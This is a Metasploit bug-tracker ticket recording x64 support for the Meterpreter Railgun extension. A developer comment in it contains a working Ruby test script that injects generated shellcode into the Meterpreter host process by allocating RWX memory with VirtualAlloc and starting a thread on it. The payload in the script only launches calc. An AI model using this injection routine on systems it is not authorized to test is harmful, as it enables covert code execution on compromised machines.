Feature #2516

Railgun for x64

Added by Rob Fuller over 1 year ago. Updated 4 months ago.

Status:Closed Start date:09/10/2010
Priority:Normal Due date:
Assignee:Stephen Fewer % Done:

0%

Category:meterpreter - win32
Target version:-
Resolution:fixed How To Use:
Release Note:

Description

Just making a ticket for tracking, since one didn't currently exist.

History

Updated by Stephen Fewer over 1 year ago

  • Category set to meterpreter - win32
  • Status changed from New to Assigned
  • Assignee set to Stephen Fewer

Have most of this done, should have it finished & committed in the next couple of days.

Updated by Stephen Fewer over 1 year ago

  • Status changed from Assigned to Closed
  • Resolution set to fixed

Committed r10317, r10318, r10319, r10320 to complete support for x64 railgun as well as moving it directly into stdapi. The only change needed to existing scripts is to remove the call to 'client.core.use("railgun")' (see r10321) as it is no longer needed.

I added support for LPVOID types as well as HANDLE as their are some issues between x86/x64 that needed to be addressed. I was using a simple script to help test some of this (specifically LPVOID stuff like VirtualAlloc where we dont want railgun to back the memory ala a PBLOB as well as the obvious pointer size changes between x86/x64).

# sf - Sept 2010 - Simple test for x86/x64 shellcode injecting via RAILGUN

print_status( "Starting the injection test..." )

begin
    arch = ''

    # 1. create a simple shellcode which will pop a calc when executed...
    if( client.platform =~ /x64/i )
        # 1.1 get a handle to our current process...
        result = client.railgun.kernel32.GetCurrentProcess()
        current_process = result['return']
        raise "GetCurrentProcess failed" if not current_process

        # 1.2. check if our current process is native x64 or wow64...
        result = client.railgun.kernel32.IsWow64Process( current_process, 1 );
        raise "IsWow64Process failed" if not result['return']

        # 1.3. create the correct payload for the host process...
        if( result['Wow64Process'] == 1 )
            arch = 'x86'
            payload = client.framework.payloads.create( "windows/exec" )
        else
            arch = 'x64'
            payload = client.framework.payloads.create( "windows/x64/exec" )
        end
    else
        arch = 'x86'
        payload = client.framework.payloads.create( "windows/exec" )
    end

    payload.datastore['CMD']      = 'calc'
    payload.datastore['EXITFUNC'] = 'thread'
    shellcode  = payload.generate

    # 2. alloc some RWX memory on the host system (in the meterpreters host process)...
    result = client.railgun.kernel32.VirtualAlloc( nil, shellcode.length, "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE" )
    address = result['return']
    raise "VirtualAlloc failed" if not address

    # 3. copy the shellcode over to the new RWX buffer...
    raise "memwrite failed" if not client.railgun.memwrite( address, shellcode, shellcode.length )

    # 4. create a new thread in a suspended state with the start address being our shellcode...
    result = client.railgun.kernel32.CreateThread( nil, 0, address, nil, "CREATE_SUSPENDED", nil )
    handle = result['return']
    raise "CreateThread failed" if not handle

    # 5. resume the thread, executing our shellcode...
    result = client.railgun.kernel32.ResumeThread( handle )
    raise "ResumeThread failed" if not result['return']

    print_status( "Thread 0x%X is running the #{arch} shellcode located at 0x%X" % [ handle, address ] )

rescue ::Exception => e
    print_error( "#{e}" )
end

print_status( "Finished the injection test." )

Also available in: Atom PDF